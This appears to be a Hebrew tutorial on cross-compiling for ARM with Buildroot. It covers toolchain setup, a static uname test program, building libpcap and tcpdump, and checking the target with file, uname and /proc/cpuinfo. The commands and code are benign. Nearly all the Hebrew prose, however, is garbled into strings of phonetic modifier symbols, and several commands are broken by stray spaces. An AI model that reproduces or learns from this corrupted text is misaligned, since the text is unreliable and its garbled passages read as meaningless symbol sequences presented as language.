symbol-˫˧( ˞ˣˢ˷ ˧˶˞ˮ˧˟ ,˭˩ ˪˰ .stripped ˣ˪ ˸ˣ˷˰˪ ˣ˞ ˠ˟ˡ˪ ˶˸ˣ˧ ˢ˷˵ ˢ˧ˢ˧ Reverse Engineering 

ˢ ˧˪˩ ˧˩ ˟˪ ˣˬ˧˷-Binutils ˫ˮ˧ˢPlatform Dependent   ˭˩˪ˣˢ ˪˷ ˨˟ˡˮ ˫ˢ ˫ˠ-Cross Compiling  ˫ˢ ˨˞

 ˳˧˶ˢ˪ ˢ˴˶ˮ ˫˞ ,˶ˬˣ˪˩ .ˣˬ˴˰ ˶˪˧˧˲ˬˣ˵ˢ ˸˞ ˫˧˪˪ˣ˩ ˫ˮ˧˞objdump ˪ ˪˲ˬˣ˵˷ ˧˶˞ˮ˧˟ ˪˰-MIPS  ˨˶˦˴ˮ

ˢ ˸˞ ˸˥˵˪-objdump ˟ ˶˴ˣˮ˷-CC ˟ ˞˪ˣ-objdump ˢ ˪˷-host )˟ˣ˦ ˡˣ˟˰˧ ˞˪ ˢ˞˶ˮˢ ˪˩˩˷.( 

 

Toolchain 

Toolchain ˟˷˟ ˫˧˷˶ˡˮˢ ˫˧˪˩ˢ ˱˯ˣ˞ ˣˮ˧ˢ ˧˶˞ˮ˧˟ ˪˷ ˪ˣ˲ˬ˵ ˪˧-  ,˶˪˧˧˲ˬˣ˵Binutils sx-libc  ˱˯ˣ˞)

ˢ ˸˞ ˸ˣ˲˦ˣ˰˷ ˸ˣ˧˶˲˯ˢ-syscalls ˟ ˫˧˵˯ˣ˰ ˶˷˞˩ .(˸˩˶˰ˬˢ ˪˷-cross compiling  ˶˴ˣˣ˧˧cross 

toolchain. 

 ˫˧˪˟˵ˬ ˫˴˰˟ ˨˧˞ ˤ˞toolchain ˭˩˟ˣ ?˸˶˥˞ ˢˮˣ˩ˬ˪ ˡˣ˵ ˪˲ˬ˵˪ ˪˩ˣ˞ ˣ˸ˣ˰˴ˬ˞˟,  ˫˧˩˶ˡ ˧˸˷ ˷˧

˸ˣ˧˶˵˧˰: 

1.  ˡ˧˶ˣˢ˪toolchain  ˦ˮ˶˦ˮ˧˞ˢˬ ˭˩ˣˬ-  ˶˟˩ ˷˧ ˫ˢ˟˷ ˫˧˶˸˞ ˦˰ˬ ˞˪ ˫ˮ˷˧toolchain- ˫˧ˬ˞˸ˣˬ˷ ˫˧

˫˧˟˧˩˶ ˦˰ˬ ˞˪ ˶ˣ˟˰ ,ˢ˷˰ˬ˪ .˸ˣ˩˶˰ˬ ˪˷ ˟˥˶ ˭ˣˣˠˬ˪ , ˢ˶˟˥ˢ˞˷ ˶ˢ ˸˞ ˸˵˲˯ˬ ˫˸ˣ˞ ˸˶˴˧˧ˬ-

toolchain ˞ˬˠˣˡ˪ .ˢˬ˶ˣ˲˦˪˲˪ ˫˧˞˸ˬˢ: 

https://developer.arm.com/open-source/gnu-toolchain/gnu-rm/downloads 

2. ˟ ˷ˬ˸˷ˢ˪-Buildroot - ˧˪˰ s˸˰˩ ˟˧˥˶ˮ 

Buildroot 

Buildroot  ˸˧˧ˮ˟ ˪˰ ˪˵ˢ˪ ˢˡ˰ˣˮ˷ ˢ˟˧˟˯ ˢˮ˧ˢtoolchain- ˪˷ ˱˯ˣ˞ˬ ˸˟˩˶ˣˬ ˶˷˞ ˫˧makefile- .˫˧

˟ ˢˮˣ˷˞˶˪ ˢˬ˯˶ˣ˲ ˞˧ˢ-2001 ˢ˶˞˷ˮˣ  ,˟ˠ˞ .˫˧˷ˡˣ˥ ˢˬ˩ ˧ˡˬ ˫˧˞˴ˣ˧ ˫˧ˮˣ˩ˡ˰ ˶˷˞˩ ˤ˞ˬ ˸˵ˤ˥ˣ˸ˬ

 ˢˮ˧ˢ ˢˬ˴˰ ˸˩˶˰ˬˢopen source  ˪˷ ˭ˣ˶˸˧ˢ .˫˧˧ˣˮ˧˷ ˢ˟ ˸ˣ˷˰˪ ˭˸˧ˮˣ ˫ˮ˧˥˟ ˢˡ˶ˣˢ˪ ˸ˮ˸˧ˮ˷

https://developer.arm.com/open-source/gnu-toolchain/gnu-rm/downloads
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Buildroot  ˶˧˟˩ˢ˪ ˫ˣ˵ˬ˟ ˤ˞ .ˢ˟ ˷ˣˬ˧˷ˢ ˪˷ ˸ˣ˥ˣˮˢˣ ˸ˣ˪˵ˢ ˣˮ˧ˢ ˸˩˶˰ˬˢ ˪˷ ˢ˥˪˴ˢ˪ ˫˶ˣˠˢˣ

ˢ˪ ˢˬ˧ˮ˲ ˪ˣ˪˴ˮ ˣ˞ˣ˟ ˢ˟˧˟˯ˢ ˪˰ ˫˧˪˧ˬ˟...ˢ˟ ˷ˣˬ˧˷ˢ ˸ˬˠˡ 

˟ ˷ˬ˸˷˞ ˢˬˠˡˢˢ ˫˷˪-VM  ˪˷ Ubuntu x86˦ˮ˶˦ˮ˧˞˪ ˢ˷˧ˠ ˫˰: 

¶ ˬ ˢˮˣ˶˥˞ˢ ˢ˯˶ˠˢ ˸˞ ˣˡ˧˶ˣˢ-https://buildroot.org/download.html )˸˰˟  ,ˣ˪˞ ˸ˣ˶ˣ˷ ˸˟˧˸˩

 ˢˮ˧ˢ ˢˮˣ˶˥˞ˢ ˞˯˶ˠˢ2017.02.8 .( ˳˟ˣ˵ ˣ˪˟˵˸tar ˵) ˳˟ˣarchive ˪ ˢˬˣˡ˟-zip  ˣ˞rar( 

¶  ˳˟ˣ˵ˢ ˸˞ ˣ˵˧˸˰ˢtar ˪-VM  ˸ˣ˰˴ˬ˞˟)scp ˵˸˰ˢ ˣ˞- ˫˩˪ ˭˵˸ˣˬˣ ˢˡ˧ˬ˟ ˵˟ˡˢvmware tools  ˣ˞

(˫˩˪ ˢ˥ˣˮˢ ˨˶ˡ ˪˩˟ 

¶ ˢ˶˴ˣˮ˷ ˢ˧˵˧˸˪ ˣ˦ˣˣˮˣ ˳˟ˣ˵ˢ ˸˞ ˣ˥˸˲: 

tar  - xvf  buildroot - 2017.02.8.tar.gz  

cd  buildroot - 2017.02.8  

˥˞ ˸ˣ˧˯˵ˣˮ˧˪ ˸ˣ˪˧˟˥˪ ˢˬˣˡ˟" ˫˰ ˦˧˶˲˸ ˪˟˵˪ ˭˸˧ˮ ˸ˣ˶GUI ˪˧˧˦˯ "DOS ˢ˞˟ˢ ˢˡˣ˵˲ˢ ˧"˰: 

make menuconfig  

ˢ ˧˩ ˭˩˸˧-make  ˪˷ ˢ˧˧˶˲˯ˢ ˸˞ ˷ˣ˶ˡ˧ˣ ˪˷˩˧ncurses1 ,˧"˰ ˣˮ˧˵˸ˢ: 

apt - get  install  libncurses - dev  

 ˧"˰ ˸ˣ˪˵˟ ˦ˣˣˮ˪ ˭˸˧ˮEnter  ,ˢˬ˧ˮ˲ ˢ˯˧ˮ˩˪ESC ˣ ˫ˡˣ˵ˢ ˟˪˷˪ ˢ˶ˤ˥˪-άκέ ˷ˣ˲˧˥ ˶ˣ˟˰ 

¶ ˟˧ ˢˤˢ ˟˪˷˟˞˟ˢ ˨˯ˬˢ ˥˸˲˧ ˣ˧˶˥˞˪ˣ ˢ˧˴˪˧˲ˬˣ˵ ˪˷ ˶˴˵ ˨˧˪ˢ˸ ˰˴ˣ: 

 

 

                                                           
 

1 ncurses (new curses)  ˢˮ˧ˢ ˢ˪˧˟˥ ˸˶˷˲˞ˬˢ ˥ˣ˸˧˲ ˪˷ ˸ˣ˧˴˵˧˪˲˞ ˫˰ GUI ˸ˣ˴˶ˢ ˸˥˸ Terminal 

22uname -  ˣˮ˧ˢsyscall   ˞ ˷˶˶˧ˤ˥ˬ  ˧"˰ ˣ˧˪˰ ˞ˣ˶˵˪ ˫˧ˮˬˤˣˬ ,˟˧˩˶ˢ ˸ˣˡˣ˞ ˰ˡ˧ˬman 2 uname 

https://buildroot.org/download.html
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ˢ ˶ˣ˟˰ ˸ˣˮ˷˪ ˣ˴˶˸ ˣ˸ˣ˞ ˶˦ˬ˶˲ ˪˩ ˦˰ˬ˩ ˶˧ˡˠˢ˪ ˶˷˲˞ˬ ˪"ˮˢ ˦˧˶˲˸ˢ-toolchain  ,˫˩˪˷

 ,˞ˬˠˣˡ˪ˢ ˦˧˶˲˸˪ ˯ˮ˩˧ˮ ˫˞-Target options ˪ ˣ˧˶˥˞˪ˣ-Target Architecture  '˩˶˞ˢ ˸˞ ˰ˣ˟˵˪ ˪˩ˣˮ

 ˶ˣ˥˟˪ ˢ˴˶ˮ ˣˮ˪˷ ˞ˬˠˣˡ˟ .ˡ˟˰ˬˢ ˪˷ARMˢ ˸˞ ˫ˠ ˶˧ˡˠˢ˪ ˭˸˧ˮ ˧˩ ˟˪ ˣˬ˧˷ .-Endianness  ˪˷

ˡ˟˰ˬˢ )Little or Big(: 
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˭˸ˮ˧ˢ˟ ˣˮ˶˥˟˷ ˡ˟˰ˬ ,˭˸˧ˮ ˫ˠ ˶ˣ˥˟˪ ˸˞ ˠˣ˯ˢ ˶˸ˣ˧ˢ ˦˶ˣ˲ˬ ˣ˪˷ ,"˧˰ ˦˧˶˲˸ˢ "Target 

Architecture Variant:" 

 

˪˩ ˧ˣˮ˧˷ ˦˧˶˲˸˟ ˰˧˲˷ˬ ˪˰ ˫˧˦˧˶˲˸ˢ ˫˧˶˥˞ˢ ˫˧˰˟˵ˮ˷ ˪˰ ˣ˧˲. 

˶˷˞˩ ˷˧ ˸ˣ˶˷˲˞ ˞˷˫˸ ˞˪ ˫˧˥ˣ˦˟ ˢ˧˟ˠ˪ ˭˸˧ˮ ˳ˣ˥˪˪ ˪˰ Help )x˞ ˶ˣ˴˧˵˟ ˳ˣ˥˪˪ ˪˰ H (˞ˣ˶˵˪ˣ 

˸˞ ˶˟˯ˢˢ ˪˰ ˢ˧˴˲ˣ˞ˢ ,˱˯ˣˮ˟ˣ ˨˩˪ ,˪˟˵˪ ˸˞ ˰ˡ˧ˬˢ ˸ˣˡˣ˞ ˢˮ˸˷ˬˢ ˣ˸ˣ˞ ˞˧ˢ ˢ˶˧ˡˠˬ ˟-

Makefile: 
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˸ˣ˲˯ˣˮ ˸ˣˮ˧˧ˮ˰ˬ ˸ˣ˧ˣ˶˷˲˞ :ˣ˪˞ ˫˧˦˧˶˲˸˟ ˸ˣˬ˧˧˵ˢ 

¶ Toolcahin -> Enable C++ support - ˸ˣ˶˷˲˞˟ ˶ˣ˥˟˪ ˷˧  ˡˣ˵ ˪˲ˬ˵˪ ˫˧˴ˣ˶ ˫˸˞ˣ ˢˡ˧ˬ˟ ˣˤˢ

C++ˢ ˸˶˧˴˧ ˭ˬˤ ˸˞ ˪˧ˡˠ˧ ˢˤ˷ ˭ˣˣ˧˩ ˢ˸ˣ˞ ˭ˬ˯˪ ˳˪ˬˣˬ ˞˪ ˸˶˥˞ .-toolchain ˣ˪ˡˣˠ ˸˞ ˥˲ˮ˧ˣ. 
 

¶ Toolchain -> C library -  ˢˤ˧˞˟ ˶ˣ˥˟˪ ˭˸˧ˮlibc ) ˷ˬ˸˷ˢ˪uClibc ,glibc ,musl  (ˡˣ˰ˣ-  ˪˩˪

 ,˶ˣ˥˞˪ ˸ˣˬ˧˞˸ ,˪ˡˣˠ) ˢ˪˷ˬ ˸ˣˮˣ˶˯˥ˣ ˸ˣˮˣ˶˸˧ ˢ˧˧˶˲˯('ˣ˩ˣ ˫˧ˡ˟˰ˬ˟ ˢ˩˧ˬ˸ ,ˢ˴˧˶ ˸ˣ˶˧ˢˬ 

˭˸˧˞ ˵˥˷˪ˣ ˸ˣ˧ˣ˶˷˲˞ˢ ˭ˣˣˠˬ˟ ˦˦ˣ˷˪ ˧˷˲ˣ˥ ˣ˷˧ˠ˶ˢ. 

 ˳˟ˣ˵ˢ ˪˰ ˫˧˰˧˲˷ˬ ˫˧˧ˣˮ˧˷ˢ .˫˧˧ˣˮ˧˷ˢ ˸˞ ˣ˶ˬ˷ˣ ˦˧˶˲˸ˢˬ ˣ˞˴.config ˸˧˥˩ˣˮˢ ˢ˧˧˵˧˸˟ ˞˴ˬˮ˷: 

 

¶ ˸˰˩,  ˢˡˣ˵˲ˢ ˸˞ ˣ˴˧˶ˢmake , ˞˧˟ˢ˪ ˸˩˪˪ ˣ˪˧˲˞ ˣ˞ ˢ˲˵ ˭˧˩ˢ˪ ˸˩˪˪ ˫˧˪ˣ˩˧ ˫˸˞ ˢˤ ˟˪˷˟

ˢ˲˵Take away (ˢ˰˷ ˧˴˥ ˪˷ ˪ˡˣˠ ˶ˡ˯) ˭ˬˤ ˢ˟˶ˢ ˸˥˵˪ ˢ˪ˣ˪˰ ˣˤ ˢ˪ˣ˰˲˷ ˭ˣˣ˧˩ 
 

¶ ˢ ˳˟ˣ˵ ˸˞-.config  ˪˷ˬ˪) ˧ˡˣ˥˧˧ ˫˷ ˣ˪ ˸˸˪ˣ ˢˡ˧˴ˢ ˵˧˸˰ˢ˪ ˳˪ˬˣˬ.config-arm926le ˪˩˟ ˨˩ˣ .(

ˢ ˪˷ ˢ˧˧˵˧˸˪ ˣ˸ˣ˞ ˵˧˸˰ˢ˪ ˭˸˧ˮ ˸ˬ˧ˣ˯ˬ ˢˬ˶ˣ˲˦˪˲ ˶ˣ˟˰ ˫˧˧ˣˮ˧˷ ˰˴˟˪ ˫˧˴ˣ˶˷ ˫˰˲-Buildroot 

 ˫˷˟.config ˧˷)(ˢˤˢ ˳˟ˣ˵ˢ ˸˞ ˯˶ˣˡ ˦˧˶˲˸˟ ˧ˣˮ˧˷ ˪˩˷ ˟˪ ˣˬ 
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¶ / ˸˧˧˵˧˸˟ ˞˴ˬˮ ˡ˪˧˟ˢ ˪˷ ˦˪˲ˢoutput/host/usr/bin˸ˣ˰˴ˬ˞˟ ˶˴ˣˮ ˢˬ ˪˰ ˣ˪˩˸˯ˢ ./: 

ls  - al  ./ output / host / usr / bin  

˦˪˲ ˞ˬˠˣˡ˪: 

 

ˢ ˸˞ ˭˧˩ˢ˪ ˣˮˬ˧˧˯˷ ˶˥˞˪-Buildroot ,ˢˮ˩ˣ˸ ˪˲ˬ˵ˮ :ˢˮ˦˵22 

#include <stdio.h > 

#include <sys/uts name.h > 

 

int  main ()  

{ 

    struct  utsname  u = {  0 }  ;  

    uname(& u);  

     

    printf ( "%s\ n" ,  u.sysname );  

    printf ( "%s\ n" ,  u.machine );  

     

    return  0;  

}  

˳˧˶ˮˣ: 

./ output / host / usr / bin / arm- buildroot - linux - uclibcgnueabi - gcc  main.c  -- static  - o 

unameit  

                                                           
 

22uname -  ˣˮ˧ˢsyscall   ˞ ˷˶˶˧ˤ˥ˬ  ˧"˰ ˣ˧˪˰ ˞ˣ˶˵˪ ˫˧ˮˬˤˣˬ ,˟˧˩˶ˢ ˸ˣˡˣ˞ ˰ˡ˧ˬman 2 uname 
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˪ ˧ˣ˴˶ ˪ˠˡˢ ˸˞ ˱˧˯ˣˢ--static ˢ ˸ˮˣ˩ˬ˟ ˸ˣ˧˶˲˯ˢ ˫˧˶˵ˬˢ ˟ˣ˶˟ .˸˧˦˦˯ ˪˲ˬˣ˵˧ ˧˶˞ˮ˧˟ˢ˷ ˪˧˟˷˟-

target ˸ˣ˶˯˥ ˣ˧ˢ˧ ˣ˪˧˲˞ ˧˪ˣ˞˷ ˣ˞ ˣˮ˪˲ˬ˵˸ˢ ˭˸˧˞ ˸ˣ˧˶˲˯˪ ˸ˣˬ˞ˣ˸ ˣ˧ˢ˧ ˞˪,  ˪˩ ˸˞ ˞˧˟ˢ˪ ˱˧ˡ˰ ˭˩˪

.ˣˮ˸˧˞ ˸ˣ˧ˣ˪˸ˢ 

˞˴˧˷ ˧˶˞ˮ˧˟ˢ ˪˷ ˦ˬ˶ˣ˲ˢ ˢˬ ˵ˣˡ˟ˮ: 

file  ./ unameit  

./ unameit :   ELF 32- bit  LSB  executable ,  ARM,  EABI5  version  1 ( SYSV),  

statically  linked ,  not  stripped  

˞ˣ˟ˣ ˣˢˡˣ˵˲ˢ ˦˪˲ ˸˞ ˭˧˟ˮ: 

¶ ELF 32-bit -  ˳˟ˣ˵UNIX- ˡ˟˰ˬ ˶ˣ˟˰ ˧32 ˦˧˟ 

¶ LSB - Least Significant Bit  ˞ˣˢ ˶ˬˣ˪˩Little Endian  ˟ˣ˸˩ ˢ˧ˢ ˸˶˥˞)MSB( 

¶ ARM -  ˸˶˴ˣ˸ˬ ˡ˟˰ˬARM 

¶ EABI5 version 1 - Embedded Application Binary Interface - ˢ ˪˷ ˢ˯˶ˠˢ-interface ˫˧˷ˬ˸˷ˬ .

 ˧ˡ˟˰ˬ ˶ˣ˟˰ ˢˤ˟ARM  ˫˧ˮˣˮˠˮˬ ˭˧˟ ˢ˧˴ˤ˧˦˶ˡˮ˦˯ ˶˧ˡˠˢ˪ ˧ˡ˩low level ˪-high level 

¶ statically linked -  ˪ˠˡˢ ˸˞ ˣˮ˲˯ˣˢ˷ ˭ˣˣ˧˩) ˸˧˦˦˯ ˪˲ˬˣ˵ˬ ˧˶˞ˮ˧˟ˢ--static( 

¶ not stripped - ˣˮˬˬ ˣˮˡ˶ˣˢ ˞˪ ˢ ˸˞-symbol-˫˧ 

 ˫˰ ˫˩ˬ ˣ˪˞˪) ˣ˸ˣ˞ ˳˧˶ˢ˪ˣ ˡ˧˞ˣ˶ˡˮ˞ˢ ˶˧˷˩ˬ˪ ˣ˸ˣ˞ ˸ˣ˪˰˪ ˪˩ˣˮ ˸˰˩iPhone -  ˶ˠ˸˞ˬ ˶˸ˣ˧ ˸˴˵ ˢˤ

 ˨˧˶˴˷ ˭ˣˣ˧˩ ˫˧˧˶˞ˮ˧˟ ˳˧˶ˢ˪Jailbreak ˪˟˵ˮ˷ ˦˪˲ˢ .(˶˧˷˩ˬ˪: 

 

ˢ ˧˶˞ˮ˧˟ˢ ˸˞ ˫˸˴˶ˢ ,˸ˣ˩˶˟-Cross Compiled !˫˩˪˷ ˭ˣ˷˞˶ˢ 
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Toolchain vs Buildroot 

˷ ˧˞ˡˣˣ˷ ˧˲˩ ,˟˪ ˫˸ˬToolchain ˟ ˪ˣ˲ˬ˵ˢ ˭ˬˤ ˸˞ ˨˯ˣ˥ ˞ˣˢ ."˶˧ˢˬˢ" ˭ˣ˶˸˲ˢ ˣˮ˧ˢ ˭˩ˣˬ-Buildroot 

 ˩"˩ ˶˧˩ˬ ˞˪˷ ˧ˬ˪ ˸ˣ˵˯˰˸ˢˢ ˸˞ˣ ˞˷ˣˮˢ ˸˞ˢ ˶ˬ˞ˬˢ ˸˞ ˞˶˵ ˞˪˷ ˧ˬ)...˪"ˮ˧ˮ˷ ˡ˴ˬ .(,  ˸ˣ˥˲ ˞ˣˢ

 ˫˧˴ˣ˶ ˞˪ˣ ˸ˣˮ˟˪ ˫˧˴ˣ˶ ˢ˧˪˞ ˢˬ˶ˣ˲˦˪˲ˢ ˸˞ ˵ˣ˧ˡ˟ ˫˧˰ˡˣ˧ ˫ˢ˟ ˫˧˶˵ˬ˟ ˳˪ˬˣˬ ˞ˣˢ ˭˩ ˪˰ˣ ˷˧ˬˠ

˸ˢ˪.˟˧˟˯ˬ ˫˧˶˟ˡ˟ ˵˯˰ 

 ˫˧˧˵ ˢˬ˶ˣ˲˦˪˲ ˪˩˪ ˞˪ ,˱˯ˣˮ˟Toolchain  ˡ˴ˬ ,˟ˣ˷ ˨˞ ,(˫ˮ˧˥ ˣˮ˧˞ ˞ˣˢ ˫˧ˬ˰˲˪˷ ˣ˞) ˢˡ˶ˣˢ˪ ˭˸˧ˮ˷

˟ ˸˩ˬ˸ˮ ˢˬ˶ˣ˲˦˪˲ ˪˩ ˞˪ ˫ˠ ,˧ˮ˷-Buildroot . 

 ˶ˣ˴˧˪ ˨˶ˡ ˫˧˷˲˥ˬ ˶˷˞˩ ˸˰ˡ ˪ˣ˵˧˷ ˪˧˰˲ˢ˪ ˷˧ ,˭˩˪Toolchain .˸ˬ˧ˣ˯ˬ ˢˬ˶ˣ˲˦˪˲˪ 

 

˪ˣ˲ˬ˵  ˡˣ˵Open Source ˧ˮˣ˴˧˥ 

ˮ˷˧ ˭ ˸ˣ˪˧˟˥ ˦˰ˬ ˞˪Open Source  ˭ˮ˧ˢ˷Cross Platform  ˭ˢ˪ ˸ˣ˷˰˪ ˭˸˧ˮ ˶ˬˣ˪˩Cross Compiling. 

 ˶˟˩ ˣˮ˪ ˷˧˷˩ ,ˣ˧˷˩˰toolchain  ˪˲ˬ˵˪ ˪˩ˣˮ ˨˧˞ ˢ˞˶ˮ ˞ˣ˟open source ˞ˬˠˣˡ˪ ,tcpdump ˢ˧ˢˮ˷ ˨˩ ,

.˸˶ˣ˷˵˸ˢ ˸˞ ˱˧ˮ˯ˢ˪ˣ ˡ˧˞ˣ˶ˡˮ˞ˢ ˶˧˷˩ˬ ˪˰ ˣ˸ˣ˞ ˳˧˶ˢ˪ ˫˧˪ˠˣ˯ˬ 

¶ ˣˮ ,˸ˣ˥ˣˮ ˪˧˟˷˟˪ ˱˧˯-PATH ˢ ˫˰ ˢ˧˧˵˧˸ˢ ˸˞ ˣˮ˪˷-cross compiler ˣˮ˪˲ˬ˵˷: 

PATH=$PATH:/ home/ user / Desktop / buildroot - 2017.02.8 / output / host / usr / bin /  

¶  ˪˲ˬ˵˪ ˧ˡ˩˟tcpdump  ˸˞ ˫ˠ ˪˲ˬ˵˪ ˨˶ˣ˴ ˷˧libpcap (ˢ˲ˮ˯ˢ˪ ˶˸˧ˢ ˭˧˟ ˸˷ˬ˷ˬˢ ˢ˧˧˶˲˯ˢ) 

¶ ˢˬ ˡˣ˵ˢ ˸˞ ˣˡ˧˶ˣˢ-repository ˢ˧˧˵˧˸˪ ˣ˯ˮ˩ˣ: 

apt - get  source  libpcap  

apt - get  source  tcpdump  

cd  libpcap - 1.5.3  

¶ ˢ ˦˲˧˶˵˯ ˸˞ ˳˧˶ˮ ˸˰˩-configure  ˳˟ˣ˵ ˶ˣ˴˧ ˶˷˞Makefile ˭˸˧ˮ˷ ˫˧˶˦ˬ˶˲˪ ˫˞˸ˣˬ˷: 

CC=arm- buildroot - linux - uclibcgnueabi - gcc  ./ configure  -- host =arm- linux  --

with - pcap =linux  

Á CC  :˰˟ˣ˵ ˢˬ ˶˪˧˧˲ˬˣ˵ˢ )˧ˡ˩˟ ˞˪˷ ˥˵˧˧ ˸˞ s-default ˪˷ s-Ubuntu( 

Á --host  :˰˟ˣ˵ ˣˮ˥ˮ˞˷ ˫˧˪˲ˬ˵ˬ ˶ˣ˟˰ ARM 

Á --with-pcap : ˰˟ˣ˵ ˸˞ ˠˣ˯ s-packet capture .ˣˮ˥ˮ˞ ˫˧˴ˣ˶ ˳ˣ˶˪ ˪˰ ˸˩˶˰ˬ Linux 
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¶ ˢ˞˟ˢ ˢ˞˧ˠ˷˟ ˣ˪˵˸˧˸ˣ ˭˩˸˧ ˢˤ ˟˪˷˟: 

configure :  error :  Your  operating  system's lex is insufficient to compile 

li bpcap  

¶  ˣˮ˧˵˸ˢ ˭˩˪flex x-bison3 ˟ˣ˷ ˣ˴˧˶ˢˣ:3 

apt - get  install  flex  

apt - get  install  bison  

¶  ˣ˴˧˶ˢmake: 

make 

¶ ˪ ˫ˠ ˢˬˣˡ ˶˟ˡ ˢ˷˰ˮ ˸˰˩-tcpdump ˷ ˟˪ ˣˬ˧˷) ˸˧˦˦˯ ˣ˸ˣ˞ ˪˲ˬ˵ˮˣ-libpcap  ˢ˧˧˵˧˸ ˸ˣ˧ˢ˪ ˨˧˶˴

 ˧˶ˣ˥˞ˬ ˸˥˞tcpdump(: 

cd  ../ tcpdump  

CFLAGS=-- static  CC=arm- buildroo t - linux - uclibcgnueabi - gcc  ./ configure  --

host =arm- linux  

make 

¶ ˣˮ˪ ˞˴˧ ˳˟ˣ˵ ˢˤ˧˞ ˵ˣˡ˟ˮ: 

file  ./ tcpdump    

./ tcpdump :  ELF 32- bit  LSB  executable ,  ARM,  EABI5  version  1 ( SYSV),  

statically  linked ,  not  stripped  

¶ ˣ˪ˡˣˠ ˸˞ ˵ˣˡ˟ˮ: 

ls  - alh  ./ tcpdump  

- rwxr - xr - x 1 root  ro ot  2. 2M Dec 13 23: 02 ./ tcpdump  

¶ ˶˸ˣ˧ ˭˦˵ ˢ˧ˢ˧˷ ˨˩ ˫˧˪ˣ˟ˬ˧˯ˢ ˸˞ ˣˮˬˬ ˡ˧˶ˣˮ: 

arm- buildroot - linux - uclibcgnueabi - strip  ./ tcpdump  

¶ ˣ˧˪˰ ˫˧˦˶˲ˢ ˸˞ˣ ˣ˪ˡˣˠ ˸˞ ˟ˣ˷ ˵ˣˡ˟ˮˣ: 

ls  - alh  ./ tcpdump  

- rwxr - xr - x 1 root  root  1. 5M Dec 13 23: 08 ./ tcpdump  

file  ./ tcpdump  

./ tcpdump :  ELF 32- bit  LSB  executable ,  ARM,  EABI5  version  1 ( SYSV),  

statically  linked ,  stripped  

ˬ ˡ˶˧ ˪ˡˣˠˢ˷ ˟˪ ˣˬ˧˷-2.2 ˪ ˢˠˬ-1.5  ˞ˣˢ˷ ˟ˣ˸˩ˣ ˢˠˬstripped. ˵ ˪˷ ˧˶˞ˮ˧˟ ˣˮ˪˟˧tcpdump  ˭˸˧ˮ˷

 ˡ˟˰ˬ ˪˰ ˣ˸ˣ˞ ˳˧˶ˢ˪ARM! 

 

                                                           
 

33
˩Flex x-Bison - ˫˧˥˸ˮˬ ˫˧˪˵˧˯˵˪ ˶˷˞ ˫˧˷ˣ˶ˡ ˶ˣ˟˰ libpcap ˪˰ ˮˬ ˸˶˯˶˲˪ ˸˞ s-)BPF (Berkley Packet Filter 
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ˡ˴˧˩ ˭˸˧ˮ ˸˰ˡ˪ ˢˬ ˸ˬ˶ˣ˲˦˪˲ ˡ˰˧ˢ? 

˪ ˢ˴˶ˮ ˫ˢ˟ ˫˧˶˵ˬ ˫ˮ˷˧ˢ ˶ˣ˟˰ ˢ˪˷ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˸˰ˡ˪ ˢ˴˶ˮˣ ˢˮˣ˩ˬ˪ ˪˲ˬ˵-toolchain  ˧˲˩)

 ˢ˪˥˸ˢ˟ ˧˸ˮ˧˧˴˷-  / ˢ"˰ˬ ˠˣ˯Endianness  .('ˣ˩ˣ ˡ˟˰ˬ / 

˧˦ˮˣˣ˪˶ˢ ˰ˡ˧ˬˢ ˸˞ ˠ˧˷ˢ˪ ˫˧˩˶ˡ ˶˲˯ˬ ˭ˮ˷˧: 

¶ ˸˴˶ˢ ˢˡˣ˵˲ˢ "uname -a" -  ˞˪ ˣˤ ˢˡˣ˵˲ ˨˞ ˢˬ˴˰ ˸˩˶˰ˬˢ ˪˰ ˫˧˦˶˲ ˵˧˲˯ˬ ˣˮ˪ ˭˸˧˸ ˟ˣ˶˪

˟˧˩˶ˢ ˪˰ ˸ˬ˧˧˵ ˡ˧ˬ˸ 

¶ ˸˴˶ˢ ˢˡˣ˵˲ˢ "file"  ˢˮˣ˩ˬ˟ ˫˧˶˞ˮ˧˟ˢ ˡ˥˞ ˪˰- ˸ˣ˞ˬˠˣˡ˟ ˣˮ˧˞˶˷ ˧˲˩ , ˣˮ˪ ˸˵˲˯ˬ ˣˤ ˢˡˣ˵˲

 ˸˞ ˷˧ ˡ˧ˬ˸ ˞˪ .˫˧˧˦ˮˣˣ˪˶ˢ ˫˧˦˶˲ˢ ˪˩ ˸˞ ˦˰ˬ˩file  ˧˶˞ˮ˧˟ˢ ˸˞ ˡ˧˶ˣˢ˪ ˭˸˧ˮ ˨˞ ˢˮˣ˩ˬˢ ˪˰

 ˸˞ ˷˧ ˢ˟ ˢˮˣ˩ˬ˟ ˣ˧˪˰ ˳˧˶ˢ˪ˣfile  ˪˷ˬ˪)Ubuntu ˸˴˶ˢ ˫ˠ .(readelf .˱˯ˣˮ ˰ˡ˧ˬ ˸˸˪ ˢ˪ˣ˩˧ 

¶ ˵ˬ ˢ˞˧˶-/proc/cpuinfo - ˡ˧˞ˣ˶ˡˮ˞ ˶˧˷˩ˬˬ ˞ˬˠˣˡ ˭˪ˢ˪: 

cat  / proc / cpuinfo  

Processor        :  AArch64  Processor  rev  4 ( aarch64 )  

model  name      :  ARMv8 Processor  rev  4 ( v8l )  

Features         :  half  thumb  fastmult  vfp  edsp  neon  vfpv3  tls  vfpv4  

idiva  

                  idivt  lpae  evtstrm  aes  pmull  sha1  sha2  crc32  

model  name      :  ARMv8 Processor  rev  4 ( v8l )  

model  name      :  ARMv8 Processor  rev  1 ( v8l )  

¶  ˭˟ˣˬ˩ˣ- ˦ˮ˶˦ˮ˧˞˟ ˟˧˩˶ˢ ˪˰ ˰ˡ˧ˬ ˷˲˥˪ ˸ˣ˯ˮ˪ ˶˷˲˞ ˡ˧ˬ˸... 

˫ˣ˩˧˯ 

˟˥˶ˢˣ ˢ˧˴˪˧˲ˬˣ˵˟ ˫˧˧˯˧˯˟ ˫˧ˠ˷ˣˬ ˪˰ ˸˴˵ ˧˸˶˟˰ ˢˤˢ ˶ˬ˞ˬ˟ˢ ˸˵˧ˮ˩˦ ˪˰ ˧˸-Cross Compiling 

 ˸ˣˮˣ˷ˢ ˸ˣ˵˧ˮ˩˦ˢ ˸˞ ˧˸ˠ˴ˢ ,˭˩ ˣˬ˩ .˸˶˥˞ ˸˩˶˰ˬ˪ ˸˥˞ ˸˩˶˰ˬˬ ˫˧˧˶˞ˮ˧˟ ˪˲ˬ˵˪ ˸˶˷˲˞ˬ ˶˷˞

